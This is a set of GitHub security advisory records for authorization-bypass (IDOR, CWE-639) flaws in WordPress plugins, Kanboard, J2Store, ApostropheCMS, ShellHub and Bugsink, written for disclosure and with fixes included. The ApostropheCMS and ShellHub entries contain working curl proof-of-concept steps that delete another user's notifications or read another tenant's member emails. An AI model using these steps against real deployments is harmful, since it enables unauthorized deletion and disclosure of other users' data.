CWE-639

{
  "affected": [],
  "aliases": [
    "CVE-2026-11399"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-10-03T06:16:42Z",
    "severity": "MODERATE"
  },
  "details": "The Helpdesk Support Ticket System for WooCommerce plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 2.1.6 via the \u0027id\u0027 parameter due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with subscriber-level access and above, to delete arbitrary ticket responses belonging to other users by supplying any stsw_responses row ID to the deletion handler after obtaining the nonce from the admin footer.",
  "id": "GHSA-vv97-3hr9-5prm",
  "modified": "2026-10-03T06:31:13Z",
  "published": "2026-10-03T06:31:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-11399"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?reponame=\u0026old=3713322%40support-ticket-system-for-woocommerce\u0026new=3713322%40support-ticket-system-for-woocommerce"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/0715b5bf-8123-4e75-95e1-4b7d39f37d64?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-56774"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-25T19:16:44Z",
    "severity": "MODERATE"
  },
  "details": "Kanboard through 1.2.52, fixed in commit 928c68a, UserViewController::removeSession fails to validate the session id parameter before passing it to RememberMeSessionModel::remove, allowing authenticated users to delete other users\u0027 Remember Me sessions. Attackers can enumerate sequential session IDs and mass-invalidate persistent login sessions of any user, including administrators, forcing re-authentication and causing denial of service.",
  "id": "GHSA-vvjm-mjq4-27c8",
  "modified": "2026-06-25T21:31:30Z",
  "published": "2026-06-25T21:31:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56774"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kanboard/kanboard/issues/5829"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kanboard/kanboard/pull/5831"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kanboard/kanboard/commit/928c68aa2b7c00092dd71084d329b912e229f3d1"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/kanboard-cross-user-deletion-of-persistent-login-sessions-via-unvalidated-session-id"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-2526"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-08T02:15:20Z",
    "severity": "HIGH"
  },
  "details": "The Streamit theme for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 4.0.2. This is due to the plugin not properly validating a user\u0027s identity prior to updating their details like email in the \u0027st_Authentication_Controller::edit_profile\u0027 function. This makes it possible for unauthenticated attackers to change arbitrary user\u0027s email addresses, including administrators, and leverage that to reset the user\u0027s password and gain access to their account.",
  "id": "GHSA-vvvq-q595-47g3",
  "modified": "2025-04-08T03:32:37Z",
  "published": "2025-04-08T03:32:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-2526"
    },
    {
      "type": "WEB",
      "url": "https://documentation.iqonic.design/streamit/change-log/streamit-v4-0"
    },
    {
      "type": "WEB",
      "url": "https://themeforest.net/item/streamit-video-streaming-wordpress-theme/29772881"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/057abffb-1c52-49ca-8791-ca44f0c5a011?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-30495"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-05-26T17:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "In oretnom23 Automotive Shop Management System v1.0, the name id parameter is vulnerable to IDOR - Broken Access Control allowing attackers to change the admin password(vertical privilege escalation)",
  "id": "GHSA-vw88-9f5h-6px5",
  "modified": "2022-06-11T00:00:32Z",
  "published": "2022-05-27T00:00:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-30495"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nsparker1337/OpenSource/blob/main/exploit_idor_asms.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-1291"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-13T10:16:18Z",
    "severity": "MODERATE"
  },
  "details": "The Meow Gallery plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the REST API endpoint /wp-json/meow-gallery/v1/save_shortcode in all versions up to, and including, 5.4.4 This makes it possible for authenticated attackers, with Author-level access and above, to arbitrarily create or overwrite existing gallery shortcode records by supplying a user-controlled id value. The endpoint performs database update operations without verifying that the requesting user is authorized to modify the referenced gallery record or create their own.",
  "id": "GHSA-vwf8-xx3v-5qw7",
  "modified": "2026-06-13T12:31:25Z",
  "published": "2026-06-13T12:31:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1291"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/meow-gallery/trunk/classes/rest.php"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3469543/meow-gallery"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3469543/meow-gallery/trunk/classes/rest.php"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?old_path=%2Fmeow-gallery/tags/5.4.4\u0026new_path=%2Fmeow-gallery/tags/5.4.5"
    },
    {
      "type": "WEB",
      "url": "https://wordpress.org/plugins/meow-gallery"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/3386ea07-9c61-4b54-a451-1178ca6325cb?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-78065"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-03T13:06:09Z",
    "severity": "HIGH"
  },
  "details": "Joomla Extension - j2commerce.com - Guest checkout address disclosure to any authenticated user (IDOR) in J2Store 1.0.0-3.3.21, 4.0.0-4.0.21, 4.1.0-4.1.6 - `editAddress()` redirected non-owners away only when the loaded address row had a **non-empty** `user_id` belonging to someone else. Guest-checkout address rows have an empty `user_id`, so that check never triggered for them \u2014 any logged-in account guessing a small, sequential `address_id` got a guest customer\u0027s full name, street address, and phone number rendered prefilled into the edit form.",
  "id": "GHSA-vwvh-r394-jv9x",
  "modified": "2026-09-03T15:32:13Z",
  "published": "2026-09-03T15:32:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78065"
    },
    {
      "type": "WEB",
      "url": "https://www.j2commerce.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-36247"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-05-30T20:15:09Z",
    "severity": "CRITICAL"
  },
  "details": "Shop Beat Solutions (Pty) LTD Shop Beat Media Player 2.5.95 up to 3.2.57 is vulnerable to IDOR via controlpanel.shopbeat.co.za.",
  "id": "GHSA-vwvx-f9wx-wj6p",
  "modified": "2024-04-04T04:23:40Z",
  "published": "2023-05-30T21:30:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-36247"
    },
    {
      "type": "WEB",
      "url": "https://www.shopbeat.co.za"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "apostrophe"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.33.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-113665"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-20T18:25:38Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "## Summary\n\nThe notification module exposes `PATCH` and `DELETE` REST endpoints that perform operations directly on the underlying MongoDB collection without verifying that the requester is authenticated or owns the target notification.\n\nAs a result, an unauthenticated attacker who obtains a valid notification ID can modify or permanently delete another user\u0027s notification.\n\n---\n\n## Affected Code\n\n**File**\n\n```text\npackages/apostrophe/modules/@apostrophecms/notification/index.js\n```\n\n```javascript\n// restApiRoutes\nasync patch(req, _id) {\n  const dismissed = self.apos.launder.boolean(req.body.dismissed);\n\n  if (dismissed) {\n    await self.emit(\u0027beforeSave\u0027, req, { _id, dismissed });\n\n    await self.db.updateOne(\n      { _id },\n      {\n        $set: { dismissed },\n        $currentDate: { updatedAt: true }\n      }\n    );\n  }\n},\n\nasync delete(req, _id) {\n  await self.db.deleteMany({ _id });\n}\n```\n\nUnlike the `GET` notification route, these handlers do **not** verify:\n\n- Authentication (`req.user`)\n- Ownership (`userId === req.user._id`)\n- Authorization or permissions\n\nInstead, the supplied `_id` is used directly against the raw MongoDB collection.\n\n---\n\n## Root Cause\n\nThe notification REST endpoints perform database operations directly using `self.db` without enforcing authentication or authorization.\n\nWhile the framework provides permission primitives (`req.user`, ownership checks, and `apos.permission`), these endpoints never invoke them. As a result, any request reaching these handlers is processed solely based on the supplied notification ID.\n\nFor comparison, the `GET` notification route correctly checks:\n\n```javascript\nif (!(req.user \u0026\u0026 req.user._id)) {\n  throw self.apos.error(\u0027invalid\u0027);\n}\n```\n\nNo equivalent validation exists in the `PATCH` or `DELETE` handlers.\n\n---\n\n## Proof of Concept\n\n### 1. Log in as an administrator\n\n```bash\ncurl -sS -c admin_cookies.txt \\\n\"http://localhost:4321/api/v1/@apostrophecms/login/context\" \\\n-o /dev/null\n\ncurl -sS \\\n-b admin_cookies.txt \\\n-c admin_cookies.txt \\\n-X POST \\\nhttp://localhost:4321/api/v1/@apostrophecms/login/login \\\n-H \"Content-Type: application/json\" \\\n-H \"X-XSRF-TOKEN: csrf\" \\\n-d \u0027{\n  \"username\":\"admin\",\n  \"password\":\"AdminP@ssw0rd123!\",\n  \"session\":true\n}\u0027\n```\n\n---\n\n### 2. Create a notification\n\n```bash\ncurl -sS \\\n-b admin_cookies.txt \\\n-X POST \\\nhttp://localhost:4321/api/v1/@apostrophecms/notification \\\n-H \"Content-Type: application/json\" \\\n-H \"X-XSRF-TOKEN: csrf\" \\\n-d \u0027{\n  \"message\":\"manual verify test\",\n  \"type\":\"info\"\n}\u0027\n```\n\nExample response:\n\n```json\n{\n  \"noteId\":\"p358r7phi2w8l245ww5130uf\"\n}\n```\n\n---\n\n### 3. Verify the notification exists\n\n```bash\ncurl -sS \\\n-b admin_cookies.txt \\\n\"http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf\"\n```\n\nResponse:\n\n```json\n{\n  \"notifications\":[\n    {\n      \"_id\":\"p358r7phi2w8l245ww5130uf\",\n      \"userId\":\"i89h844o5n3nbreis0ugusum\",\n      \"message\":\"manual verify test\"\n    }\n  ],\n  \"dismissed\":[]\n}\n```\n\n---\n\n### 4. Access the endpoint without authentication\n\nCreate a fresh cookie jar containing only the public CSRF cookie:\n\n```bash\nrm -f anon_cookies.txt\n\ncurl -sS \\\n-c anon_cookies.txt \\\n\"http://localhost:4321/api/v1/@apostrophecms/login/context\" \\\n-o /dev/null\n```\n\nThen send the request **without any authenticated session**:\n\n```bash\ncurl -i \\\n-b anon_cookies.txt \\\n-X DELETE \\\n\"http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf\" \\\n-H \"X-XSRF-TOKEN: csrf\"\n```\n\nResponse:\n\n```http\nHTTP/1.1 200 OK\n```\n\n---\n\n### 5. Verify the notification has been deleted\n\n```bash\ncurl -sS \\\n-b admin_cookies.txt \\\n\"http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf\"\n```\n\nResponse:\n\n```json\n{\n  \"notifications\":[],\n  \"dismissed\":[]\n}\n```\n\nThe notification belonging to the authenticated administrator has been successfully deleted by an unauthenticated client.\n\n---\n\n## Impact\n\nAn attacker who obtains a valid notification ID can:\n\n- Delete another user\u0027s notifications.\n- Mark another user\u0027s notifications as dismissed.\n- Suppress security-related or administrative notifications.\n\nThe vulnerability primarily affects **integrity**.\n\nAlthough notification IDs are generated using CUID2 and are not practically guessable, authorization must not rely on identifier entropy. Any separate information disclosure vulnerability or log exposure that reveals notification IDs would make this issue directly exploitable.\n\n---\n\n## Recommended Fix\n\nRequire authentication before processing any modification request.\n\nAdditionally, scope all database operations to the authenticated user.\n\nExample:\n\n```javascript\n// patch\nasync patch(req, _id) {\n  if (!req.user) {\n    throw self.apos.error(\u0027forbidden\u0027);\n  }\n  const dismissed = self.apos.launder.boolean(req.body.dismissed);\n  if (dismissed) {\n    await self.emit(\u0027beforeSave\u0027, req, { _id, dismissed });\n    const result = await self.db.updateOne(\n      { _id, userId: req.user._id },   // \u003c-- ownership check\n      { $set: { dismissed }, $currentDate: { updatedAt: true } }\n    );\n    if (!result.matchedCount) {\n      throw self.apos.error(\u0027notfound\u0027);\n    }\n  }\n},\n// delete\nasync delete(req, _id) {\n  if (!req.user) {\n    throw self.apos.error(\u0027forbidden\u0027);\n  }\n  const result = await self.db.deleteMany({ _id, userId: req.user._id });\n  if (!result.deletedCount) {\n    throw self.apos.error(\u0027notfound\u0027);\n  }\n}\n```\n\nSimilarly, update the `PATCH` handler to verify both authentication and ownership before updating notification records.\n\n---\n\n## Recommendation\n\nEvery notification modification endpoint should:\n\n- Require authentication.\n- Verify ownership (`userId === req.user._id`).\n- Return `403 Forbidden` for unauthorized requests.\n- Avoid performing database operations solely using a user-controlled `_id`.\n\nThe same authorization checks should also be applied to any internal helper methods (such as `dismiss()`) that modify notification state.",
  "id": "GHSA-vwwx-px9w-crrc",
  "modified": "2026-10-20T18:25:38Z",
  "published": "2026-10-20T18:25:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-vwwx-px9w-crrc"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apostrophecms/apostrophe"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/releases/tag/apostrophe@4.33.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ApostropheCMS: Missing Authorization on Notification PATCH/DELETE Endpoints"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.24.1"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/shellhub-io/shellhub"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.24.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44426"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T03:02:28Z",
    "nvd_published_at": "2026-05-13T22:16:44Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n`GET /api/namespaces/:tenant` returns the full namespace object \u2014 including the members list (user IDs, e-mails, roles), settings, and device counts \u2014 to any caller authenticated by an **API Key**, for any tenant, regardless of the API Key\u0027s own tenant scope.\n\nThe handler conditionally skips the membership check when the user ID (`X-ID`) is absent, which is exactly the case for API Key authentication.\n\n## Affected versions\nShellHub Community v0.24.1 (validated).\n\n## Root cause\n`api/routes/nsadm.go:75-102` \u2014 membership check is skipped when `c.ID()` is nil:\n\n  ```go\n  var uid string\n  if c.ID() != nil {\n      uid = c.ID().ID\n  }\n\n  ns, err := h.service.GetNamespace(c.Ctx(), req.Tenant)\n  if err != nil || ns == nil {\n      return c.NoContent(http.StatusNotFound)\n  }\n\n  if uid != \"\" {                              // \u26a0\ufe0f skipped when API Key is used\n      if _, ok := ns.FindMember(uid); !ok {\n          return c.NoContent(http.StatusForbidden)\n      }\n  }\n\n  return c.JSON(http.StatusOK, ns)\n  ```\n\n  `AuthRequest` (`api/routes/auth.go:53-64`) sets only `X-Tenant-ID`, `X-Role`,\n  and `X-API-KEY` for API Key authentication \u2014 never `X-ID`. So\n  `c.Request().Header.Get(\"X-ID\")` returns `\"\"`, `c.ID()` returns `nil`, and\n  the membership check is bypassed.\n\n## Proof of concept (validated live against v0.24.1)\n\n  ```bash\n  # Attacker authenticates in their own namespace and mints an API Key\n  ATTACKER_TOKEN=$(curl -s -X POST http://target/api/login \\\n    -H \u0027Content-Type: application/json\u0027 \\\n    -d \u0027{\"username\":\"attacker\",\"password\":\"...\"}\u0027 | jq -r .token)\n\n  ATTACKER_KEY=$(curl -s -X POST http://target/api/namespaces/api-key \\\n    -H \"Authorization: Bearer $ATTACKER_TOKEN\" \\\n    -H \u0027Content-Type: application/json\u0027 \\\n    -d \u0027{\"name\":\"poc\",\"expires_at\":30}\u0027 | jq -r .id)\n\n  # Baseline: same request with JWT is correctly blocked\n  curl -i http://target/api/namespaces/\u003cvictim-tenant-uuid\u003e \\\n    -H \"Authorization: Bearer $ATTACKER_TOKEN\"\n  # Observed: HTTP 403 (correct)\n\n  # Exploit: same request with API Key returns full namespace\n  curl -i http://target/api/namespaces/\u003cvictim-tenant-uuid\u003e \\\n    -H \"X-API-Key: $ATTACKER_KEY\"\n  # Observed: HTTP 200 + {name, owner, tenant_id, members:[{id,email,role,added_at},...],\n  #                      settings, max_devices, devices_accepted_count, type, created_at}\n  ```\n\n## Impact\n  - Enumeration of any ShellHub namespace by tenant UUID.\n  - Disclosure of member e-mails, user IDs, and roles \u2192 user enumeration and targeted phishing against the victim organization.\n  - Disclosure of namespace settings (session recording on/off, announcement text), device counts, namespace type, owner identity.\n\n## Suggested fix\nTwo layers:\n\n  1. **Primary** \u2014 enforce caller-tenant match before returning the namespace, covering both JWT and API Key callers:\n\n     ```go\n     // nsadm.go GetNamespace\n     if c.Tenant() != nil \u0026\u0026 c.Tenant().ID != req.Tenant {\n         return c.NoContent(http.StatusForbidden)\n     }\n     ```",
  "id": "GHSA-vwx9-7qcf-gg7f",
  "modified": "2026-05-14T20:43:26Z",
  "published": "2026-05-07T03:02:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/shellhub-io/shellhub/security/advisories/GHSA-vwx9-7qcf-gg7f"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44426"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/shellhub-io/shellhub"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ShellHub has cross-tenant IDOR in `GET /api/namespaces/:tenant` via API Key bypasses  membership check"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "bugsink"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47715"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-05T21:43:23Z",
    "nvd_published_at": "2026-05-26T17:16:52Z",
    "severity": "LOW"
  },
  "details": "### Description\n\nBugsink issue event pages accept a direct event identifier from the URL and, in affected versions, look up that event without also requiring it to belong to the issue in the URL.\n\nThis is a project-boundary authorization issue: a logged-in user with access to one project can view another project\u2019s event data through an issue they are allowed to access. However, the issue is mitigated by two factors. First, the attacker needs to already know a valid target event UUID; there is no event enumeration path here, and guessing UUIDs is not practical. Second, Bugsink is commonly self-hosted within a single trust domain, and Hosted Bugsink gives each tenant a separate Bugsink instance, so cross-project access does not normally imply cross-tenant access.\n\nThe affected views include the stacktrace, details, and breadcrumbs pages for an issue event.\n\nThis has been fixed by requiring direct event lookups to match both the authorized issue and the project.\n\n### Impact\nLow-severity cross-project event data exposure, requiring authentication and prior knowledge of a valid event UUID.",
  "id": "GHSA-vx2f-6m6h-9frf",
  "modified": "2026-06-05T21:43:23Z",
  "published": "2026-06-05T21:43:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/bugsink/bugsink/security/advisories/GHSA-vx2f-6m6h-9frf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47715"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/bugsink/bugsink"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bugsink/bugsink/releases/tag/2.2.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Bugsink: Issue event views can show an event from another project if its UUID is known"
}